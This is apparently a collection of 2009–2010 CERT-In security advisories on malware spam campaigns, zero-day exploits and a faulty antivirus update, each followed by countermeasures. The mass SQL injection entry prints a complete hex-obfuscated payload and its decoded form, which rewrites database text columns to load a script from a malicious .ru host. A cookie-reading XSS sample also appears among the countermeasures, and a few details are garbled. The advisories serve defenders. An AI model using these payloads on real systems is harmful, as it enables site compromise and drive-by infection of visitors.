- Propagation of Zeus bot through spam campaign
Date : August 16, 2010
updated: August 26,2010
- Massive SQL Injection Attacks
Date : August 16, 2010
- Exploitation of Microsoft windows Shell LNK parsing zero day vulnerability
Date : July 19, 2010
Updated : July 26, 2010; August 03, 2010
- Microsoft Help and Support Center zero-day exploit in the wild
Date : June 17, 2010
- Propagation of malware through Twitter Password reset notification
Date : June 04, 2010
Updated: June 07, 2010
- McAfee VirusScan DAT Update leads Microsoft Windows System Failure
Date : April 23, 2010
- 0-day exploit for Internet Explorer in the wild
Date : March 12, 2010
Updated: March 30, 2010
- Fake CDC H1N1 Vaccination malware Spam
Date : December 08, 2009
- Propagation of malware through spam impersonating System/Mail Administrator
Date : October 16, 2009
Updated: October 20, 2009
- Series of Mass iframe Injection on Websites-Serving
Blended Malware
Date : August 28, 2009
- Microsoft Office web components ActiveX exploit
Date : July 16, 2009
- Fake Microsoft "critical update" spam propagating trojan
Date : June 23, 2009
- Email scams circulating related to the Swine Flu
Date : May 01, 2009
- Exploit for Internet Explorer Memory corruption vulnerability in the wild
Date : February 19, 2009
- Waledac worm variants Propagating
Date : February 10, 2009
Updated : July 06, 2009
- Worm Conficker/Downadup/Kido widely propagating
Date : January 22, 2009
Updated : May 13, 2009
Propagation of Zeus bot through spam campaign
Original issue date: August 16, 2010
Updated: August 26,2010
It has been observed that unsolicited spam mails carrying information stealer trojan " Zeus" is surging. The mail disguised as a birthday invitation, photos, or resume with a ZIP attachment arguably the latest Zbot variants. Detailed description of Zbot can be seen here .
Some of the subject lines of this spam are:
Beauty and the Geek 2
fill this Passport Form
First Birthday Invitation
In USA on August 15 and 16
Picture sizes
Resume & Coverletter - Feedback
Status
Employee Orientation
Your reservation is confirmed - Ref: 00338/058758
Garages
Picture sizes
Another candidate brought to you
Sales Dept
Excerpts of the Spam mail shot (source: Symantec)
It is also observed that the trojan uses the strange stories of celebrity death as the bait to infect the victim with malicious attachments.
The spammed messages has the following subject with a zipped attachment named “[hidden]Hot News.zip lines as seen in the shot below (Source: Symantec) with a convincing body to potentially lure the victim to open the attachment.
- Beyonce Knowles died
- Bon Jovi died
- Brad Pitt died
- Cameron Diaz died
- David Beckham died
- Gwen Stefani died
- Jay-Z died
- Jennifer Aniston died
- Jennifer Lopez died
- Johnny Depp died
- Justin Timberlake died
- Kanye West died
- Miley Cyrus died etc....
Users are advised to implement the following countermeasures to protect themselves:
- Do not follow unsolicited web links or attachments in email messages.
- Keep up-to-date patches and fixes on the operating system and application software.
- Keep up-to-date Antivirus and Antispyware signatures.
- Do not visit untrusted websites.
- Do not disclose any financial or personal information being asked in unsolicited email.
References
http://www.symantec.com/connect/blogs/spam-carrying-malicious-infostealer
http://www.symantec.com/connect/blogs/spam-carrying-malicious-infostealer
http://www.avertlabs.com/research/blog/index.php/2010/08/13/new
-wave-of-zbot-trojan/?utm_source=feedburner&utm_medium=
feed&utm_
campaign=Feed%3A+McafeeAvertLabsBlog+%28McAfee
+Avert+Labs+
Blog%29&utm_content=Google+Reader
http://www.cert-in.org.in/virus/Zeus_Botnet_Zbot.htm
http://www.itpro.co.uk/625912/timeline-three-years-of-zeus-terror
Massive SQL Injection Attacks
Original issue date: August 16, 2010
It has been observed that Mass SQL Injection attack spreading in the wild by injecting iframe into websites similar to the Asprox botnet methodology. The attack is designed to inject an iframe into the website source which will force visitors to download a javascript file from the domain malicious remote domains.
The injected SQL strings are obfuscated with HEX strings.
declare%20@s%20varchar(4000);set%20@s=cast(0x64456
34c417245204054207661526368615228323535292c4063207
64152434841722832353529206465634c417265207461624c4
55f635572734f5220435552534f5220466f522053454c45437
420412e6e616d652c622e6e614d652066726f4d207379734f6
26a6543747320612c737973434f4c754d4e732062207768655
24520612e69643d422e696420614e4420412e58745950653d2
7552720616e642028622e78545950653d3939206f7220622e5
8547970653d3335206f5220422e78545950653d323331204f5
220622e78747970453d31363729206f50454e205441624c655
f637552736f72206645544348206e6558542046524f6d20546
1426c455f437552734f7220494e744f2040542c40632077686
96c4528404046657443685f7374417475533d3029206265474
96e20657845632827557044615445205b272b40742b275d205
36554205b272b40632b275d3d727452494d28434f4e5665525
428564152434841722834303030292c5b272b40432b275d292
92b63615354283078334336393636373236313644363532303
73337323633334432323638373437343730334132463246364
53635364436463638373536393643363436393639364532453
73237353246373436343733324636373646324537303638373
03346373336393634334433313232323037373639363437343
63833443232333032323230363836353639363736383734334
43232333032323230373337343739364336353344323236343
63937333730364336313739334136453646364536353232334
53343324636393636373236313644363533452061532076615
2434861722831303629292729204645544368204e657874206
6526f6d207441426c655f635572734f7220496e744f2040742
c406320456e4420436c6f7365207461626c455f437552736f5
2206445414c4c6f43415465205461424c655f435552736f722
0%20as%20varchar(4000));exec(@s);--
The decoded strings can be normalized in a more readable form:
dEClarE @T Varchar(4000);
DEClare @c VarChar(255)
DeCLaRe tablE_CursOR cUrSOr foR foR
SELEcT [A].NAmE,[b].naME
fROM sYsoBJEcTs [A],sysColUMns [B]
WHeRE A.Id=b.Id ANd
a.xtyPe='U' /*table( User defined)*/ aNd
b.xtYpe=99 oR B.xtype=35 OR
b.xTypE=231 OR
B.XtypE=167
OPEn tABLe_CursoR feTCh NEXT fROm tAble_cUrsor INTO @t,@C
whIle(@@fETCh_StaTUs=0)
BEGIn
eXEc('UpdAte ['+@T+'] sET ['+@C+']=rTrim(conVERt(vaRCHar(4000),['+@c+']))+caSt(<script src
=http://nemohuildiin .ru /tds/go.php?sid=1>AS vaRCHaR(56))')
FETch NeXT fROm TabLE_CUrsoR INtO @t,@c
eND
clOse tABle_cUrsOR
DeaLLoCATe TABLe_CURsOr
The malicious domain is down as of now.
Many websites have been found infected with such scripts.
After successful exploitation malware such as downloaders' may Trojans are downloaded to the user's system.
In view of massive scale of the attack and high damage website administrators and users are advised to implement the following countermeasures
Website administrators:
- Enable request validation by setting validateRequest=Truefalse in the Page directive or in the configuration section.
- Input Filtering: Properly sanitize user input data.
- Comment out malicious code: any scripting content to be “safely” commented out.
- Avoid cross-site scripting appending in URLs by using some special character like #,etc http://www.vulnerable.site/welcome.html#name=<script>
alert(document.cookie)<script>
- Output Filtering: Filter user data when it is sent back to the user's browser.
- Disable client side scripting.
- Use Signed Scripting: Implement “signed scripting” such that any script with an invalid or un-trusted signature would not run automatically.
- Microsoft has released an advisory on June 24, 2008 suggesting steps to mitigate the risk from SQL Injection attack on websites running ASP.Net. For details refer to Microsoft Advisory 954462 : http://www.microsoft.com/technet/security/advisory/
954462.mspx
- A free scanner named Scrawlr has been developed by Hewlett Packard which can identify whether sites are susceptible to SQL injection. This tool and support for its use can be found at:
http://www.communities.hp.com/securitysoftware/blogs/
spilabs/archive/2008/06/23/finding-sql-injection-with-scrawlr.
aspx
System Administrators and Users:
- Block access to domain nemohuildiin .ru and listed in Malware domain List
- Disable Javascript and ActiveX scripting in the browser settings. Use NoScript extension with Firefox browser.
- Keep up-to-date on patches and fixes on the OS and application software.
- Install and maintain updated anti-virus software at gateway and desktop level
- Exercise caution even while visiting trusted websites.
References http://isc.sans.edu/diary.html?storyid=9397
http://www.cert-in.org.in/currentacts/currentact08.htm#SIW http://www.malwaredomains.com/wordpress/?p=1172
Exploitation of Microsoft windows Shell LNK parsing zero day vulnerability
Original issue date: July 19, 2010
Updated: July 26, 2010; August 03, 2010
It has been observed that a recently reported vulnerability in Microsoft Windows Shell is actively being exploited.
This issue is due to an error in the Windows Shell component when parsing shortcuts (*.LNK files), which could allow attackers to automatically execute a malicious binary by tricking a user into opening in Windows Explorer a removable drive (e.g. USB) or browsing a remote network or WebDAV share containing a specially crafted shortcut file.
A rootkit dubbed as Stuxnet is leveraging the said vulnerability with specially-crafted shortcut files ( Exploit:Win32/CplLnk.A ) placed on USB drives to automatically execute malware as soon as the .lnk file is read by the operating system.
The malicious code is contained in drivers that appear to be digitally signed by Realtek Semiconductor Corp,
JMicron Technology Corp,
which could help the code bypass controls that require drivers to be signed.
It is also reported as designed for monitoring activity on Siemens WinCC supervisory control and data acquisition (SCADA) systems- which are used to manage industrial machines used for manufacturing and power plants-and are appears as shipping with default administer credentials hardcoded into the system.
Once the system is infected, the malware seeks out for the presence of WinCC systems and if found, applies the hard-coded credentials, to access the control system's database.
It is also reported that other malware families are taking advantage of the .LNK vulnerability.
This includes newly discovered malware family Chymine a nd Vobfus. Apart from that the polymorphous trojan Sality and nasty banking trojan " Zues" are leveraging the said vulnerability. See the screenshot below sent by Zeus supposedly from "Security@microsoft.com" and the subject "Microsoft Windows Security Advisory.
Countermeasures :
- Apply appropriate
patches as
mentioned in CERT-In Vulnerability Note CIVN-2010-169
- Install and maintain updated anti-virus software at gateway and desktop level.
- Use caution when opening attachments and accepting file transfers.
- Sysclean - tool from Siemens to detect and remove malware from SCADA system. Download Update malware signature also.
- Apply SIMATIC software Update .
- Windows Shortcut Exploit Protection Tool from sophos Labs which can validate Microsoft shortcut files.
- G-DATA LNK checker can check for malformed shortcut file
Removal Tools
Windows Shortcut Exploit Protection Tool from sophos Labs which can validate Microsoft shortcut files.
G-Data LNK checker can check for malformed shortcut files.
References
http://isc.sans.org/diary.html?storyid=9181
http://www.anti-virus.by/en/tempo.shtml
http://krebsonsecurity.com/2010/07/experts-warn-of-new-windows-
shortcut-flaw/
http://blog.eset.com/2010/07/17/windows-shellshocked-or-why-
win32stuxnet-sux
http://www.kb.cert.org/vuls/id/940193
http://www.f-secure.com/weblog/archives/00001986.html
http://www.f-secure.com/weblog/archives/00001987.html http://support.automation.siemens.com/WW/llisapi.dll?func=
cslib.csinfo&lang=en&objid=43876783&caller=view
Microsoft Help and Support Center zero-day exploit in the wild
Original issue date: June 17, 2010
It has been observed that a recently reported vulnerability in Microsoft Help and support center is actively being exploited.
This input validation vulnerability (described in CERT-In vulnerability note CIVN-2010-155 ) in the Help and Support Center application ( helpctr.exe )fails to sanitize hcp:// URIs, allows an unauthenticated remote attacker bypass the security restrictions and can execute arbitrary code with the privileges of the current user.
It is reported that Several websites are operational hosting malicious JavaScript's (detected as TROJ_HCPEXP.A , TrendMicro) that can exploit the said vulnerability.
The infection mechanism is depicted below(TrendMicro)
In the first case users are directed to a compromised website that download the malicious javascript exploit( Exploit:Win32/CVE-2010-1885.A ,Microsoft). Once successfully exploited ,drops an executable (TROJ_DROPPR.TEJ , TrendMicro) which further download malicious binaries including FAKE AVs.
figure: Exploit code Excerpts
Users are forced to download a .ASX file (Advanced Stream Redirector) which contains the link to the malicious binary file in the second case. The file contains a link which inturn downloads the binary.
Countermeasures :
- Apply appropriate workarounds mentioned in Microsoft Security Advisory 2219475 or use automatic FIX IT tool.
- Set Internet and Local intranet security zone settings to "High" to prompt before running ActiveX Controls and Active Scripting in these zones .
- Configure Internet Explorer to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone
- Update to the latest version IE8, Windows Media Player 10.
- Do not browse un-trusted websites or follow un-trusted links.
References
http://www.sophos.com/blogs/sophoslabs/?p=10045
http://blog.trendmicro.com/microsoft-help-center-zero-day-
exploits-loose/
http://www.cert-in.org.in/vulnerability/civn-2010-155.htm
http://www.microsoft.com/technet/security/advisory/
2219475.mspx
http://isc.sans.org/diary.html?storyid=8995
http://www.microsoft.com/security/portal/Threat/Encyclopedia
/Entry.aspx?Name=Exploit%3aWin32%2fCVE-2010-1885.A
http://www.symantec.com/security_response/writeup.jsp?docid=
2010-061100-2532-99&tabid=2
Propagation of malware through Twitter Password reset notification
Original issue date: Junel 04, 2010
Updated: June 07, 2010
It has been observed that a new wave of spam e-mails purportedly arriving from Twitter is circulating widely. The spam mails posing as a Twitter password reset notification.
password notification mail
The embedded URI points to a compromised website ( gameroomhaven .com )which prompts the users to download a malicious executable password.exe, which actually a rouge Antivirus program Protection Center Safe Browser . Screenshot displays the rouge in action.
Updated:
Password notification mails posing as Twitter security model set up surging with zip attachment with subject Twitter <xxx-xx> as given in screenshot.The dodgy link point to a Google group "o[removed]exe .googlegroup.com" . Once the link is clicked, the user is prompted to download a malicious executable Twitter_security_model_setup.zip. 
The malicious file downloads the "Protection Center" onto the computer. When it runs, it silently installs itself into the "ProgramFiles\Protection Center" folder. It also adds itself to the Start menu and places several files into the Temp folder, such as kernel64xp.dll, mscdexnt.exe, and wscsvc32.exe. See below the shots describing the activities of the rouge.
Virustotal has a fair detection :
Also it creates several icons on the desktop, several of which are links to porn sites, spam and trojan agents. 
Users are advised to implement following countermeasures:
- Exercise caution while clicking on any link embedded inside the e-mail message/Instant messages or web pages.
- Install and maintain updated anti-virus software at Mail gateway and desktop level
- Install and maintain updated anti-spyware software at desktop level
- Refer Twitter Best Practices .
- Refer the Trend micro's security tips for social networking users.
References
http://www.darknet.org.uk/2010/02/twitter-major-password-reset
-after-phishing-attack/
http://community.websense.com/blogs/securitylabs/archive/2010/
06/03/reset-your-twitter-password-spam.aspx
http://www.zdnet.com/blog/government/beware-twitter-password
-reset-messages/9050
http://isc.sans.org/diary.html?storyid=8137
McAfee VirusScan DAT Update leads Microsoft Windows System Failure
Original issue date: April 23, 2010
It has been reported that McAfee's malware definition update file 5958 DAT distributed to VirusScan has detected the windows genuine file svchost.exe as being infected with new variants in the Wecorl family of malware, (W32/Wecorl.a) and application has caused Blue screen or DCOM error, followed by shutdown messages like the following;
The affected system will enter a loop and loose all network access.
Workarounds
- Boot into safe mode and replace the erroneous DAT file with EXTRA.DAT file and reboot To deploy through ePO(extra policy orchestrator) refer the articles
- Remove the affected DAT file and restore to a previous version in safe mode.
Solutions
- Restore svchost.exe with the Super DAT remediation Tool
- Update to 5959 DAT or later (Unaffected users).
Refer the following McAfee knowledge base article for detailed steps
- Corporate users and administrators KB68780
- Home users TS100969
Vendor Information
McAfee
https://kc.mcafee.com/corporate/index?page=content&id=KB68780
References
McAfee
http://service.mcafee.com/FAQDocument.aspx?lc=1033&id=TS100970
http://home.mcafee.com/VirusInfo/VirusProfile.aspx?key=265240
http://service.mcafee.com/faqdocument.aspx?id=TS100969
http://community.mcafee.com/thread/24056?tstart=0
ISC SANS
http://isc.sans.org/diary.html?storyid=8656
CISCO
http://tools.cisco.com/security/center/viewAlert.x?alertId=20375
US-CERT
http://www.us-cert.gov/current/index.html#mcafee_dat_5958_issues
0-day exploit for Internet Explorer in the wild
Date: March 12, 2010
Updated: March 30, 2010
It is reported that exploit for the zero -day vulnerability in Internet Explorer (IE6,IE7) described in CERT -In vulnerability note
CIVN-2010-66 is circulating in the wild which involves an invalid pointer reference by the iepeers.dll file that give supports for webfolders and print faculties in IE.
By convincing a user to view a specially crafted HTMLdocument (e.g., a web page or email message or attachment as shown below ) an attacker is able to execute arbitrary code with the privileges of the user .
( source: Sophos labs)
It is reported that Several websites are operational hosting obfuscated malicious JavaScript's (detected as Troj.Sykipot , Symantec) that can exploit the said vulnerability. Once the vulnerability is being exploited successfully, a remote server is requested ("top[removed]21century .com") and a malware "svohost.exe"with backdoor capabilities will be dropped.(detected as Backdoor.Sykipot ,Symantec)
Screenshot of exploit excerpts (source Symantec):
Apart from the Sykipot variants ,the below outlined malware are reported as get installed after successful exploitation
Trojan:Win32/Wisp
- TrojanDropper:Win32/Lisiu
- TrojanDropper:Win32/Agent.gen!I
- TrojanDownloader:Win32/Small.gen!AZ
- Backdoor:Win32/Agent.FS
- TrojanDropper:Win32/Frethog
Countermeasures:
- Set Internet and Local intranet security zone settings to "High" to prompt before running ActiveX Controls and Active Scripting in these zones
- Configure Internet Explorer to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone
- Enable DEP for Internet Explorer 6 Service Pack 2 or Internet Explorer. For detailed steps of these workarounds refer to Microsoft Security Advisory 981374
- Update to the latest version IE8.
- Do not browse un-trusted websites or follow un-trusted links.
References
http://www.cert-in.org.in/vulnerability/civn-2010-66.htm
http://www.microsoft.com/technet/security/advisory/981374.mspx
http://www.symantec.com/connect/blogs/zero-day-attack-ie6-
jssykipot-doesn-t-spare-retired-software
http://www.symantec.com/business/security_response/writeup.jsp?
docid=2010-031014-2034-99
http://tinyurl.com/y96e8o5 (CA blog)
http://www.microsoft.com/security/portal/Threat/
Encyclopedia/Entry.aspx?Name=Trojan%3aWin32%2fWisp.B
http://www.microsoft.com/security/portal/Threat/
Encyclopedia/Entry.aspx?Name=Trojan%3aWin32%2fWisp.A
http://www.microsoft.com/security/portal/Threat/
Encyclopedia/Entry.aspx?Name=Exploit%3aJS%2f
CVE-2010-0806
Fake CDC H1N1 Vaccination malware Spam
Date: December 08, 2009
It has been reported that a spam campaign claiming to be from the Center for Disease Control and Prevention (CDC) and requesting that recipients complete a "Personal H1N1 Vaccination Profile" is in the wild distributing Zbot variants.
Screenshot of the spam mail (source: McAfee)
 These emails contain a url that points to a dodgy CDC website which urges the victim to download an archive that contains the instructions for creating Personal H1N1 Vaccination Profile
Fake website (Source: McAfee)
Some of the subject lines of this spam are:
- Governmental registration program on the H1N1 vaccination
- State Vaccination H1N1 Program
- Your personal Vaccination Profile
- Create your personal Vaccination Profile
- State Vaccination Program
- Creation of personal Vaccination Profile
- Instructions on creation of your personal Vaccination Profile
- Creation of your personal Vaccination Profile
Users are advised to take the following precautions to protect themselves:
- Do not follow unsolicited web links or attachments in email messages.
- Keep up-to-date patches and fixes on the operating system and application software.
- Keep up-to-date Antivirus and Antispyware signatures.
- Do not visit untrusted websites.
References
http://www.avertlabs.com/research/blog/index.php/2009/12/01/
h1n1-vaccination-profile-a-path-to-infection/
http://community.ca.com/blogs/securityadvisor/archive/2009/12/01/
zbot-s-launching-of-state-quot-vaccination-quot-h1n1-program.aspx
http://www.cdc.gov/hoaxes_rumors.html
http://antivirus.about.com/od/virusdescriptions/p/cdch1n1scam.htm
http://blogs.technet.com/mmpc/archive/2009/11/27/do-and-don-ts-for-
p-w0rd.aspx
Propagation of malware through spam impersonating System/Mail Administrator
Date: October 16, 2009
Updated: October 20, 2009
It has been observed that a new wave of spam e-mails purportedly arriving from the organisations System/Mail Administrators /tech-support team is circulating widely.
These " highly personalized " spam mails alert users to update/upgrade system software due to a recent server upgrade and includes an URL or ZIP attachment. It urges the users to click the URL or open attached ZIP file, and execute for updation. Some of the attached/downloaded malware are detected as ZBot /Cutwail variants.
This email message spoofs the sender email address so that the sender looks like "tech-admin /support @organisation-domain -name" and the links are having the format
http:||updates.organisation-domain.secure.some-domain mail|id=<10digitID>-legitimateemail@ organisation-domain .com -patch407574.exe
To make it more convincing, the victim's domain name is used as the sub-domain and used throughout the message body along with the victim's e-mail address.
See below some of the screen shots of the malicious spam.
Screenshot of the malicious page redirected: (Source: Websense Securitylab)
It is also observed that mails pretends to be coming from Microsoft asking the users to install the attached antispyware program to evade away from the resurfaced Conficker Worm which started from 18/10/2009.
Screenshot of the malicious spam mail:
Some of the domains reported with the malicious campaign are given below:
Users are advised to implement following countermeasures:
• Block the emails with above mentioned subject lines at Mail Gateway
• Exercise caution while clicking on any link embedded inside the e-mail message/Instant messages or web pages.
• Install and maintain updated anti-virus software at Mail gateway and desktop level
• Install and maintain updated anti-spyware software at desktop level
• Keep up-to-date on patches and fixes on the OS and application software
References
http://securitylabs.websense.com/content/Alerts/3491.aspx http://blog.trendmicro.com/tailor-made-zbot-spam-campaign-targets-
various-companies/
http://isc.sans.org/diary.html?storyid=7333 http://isc.sans.org/diary.html?storyid=7357 http://www.symantec.com/connect/blogs/personalized-patchupdate-spam-delivering-malware
| 
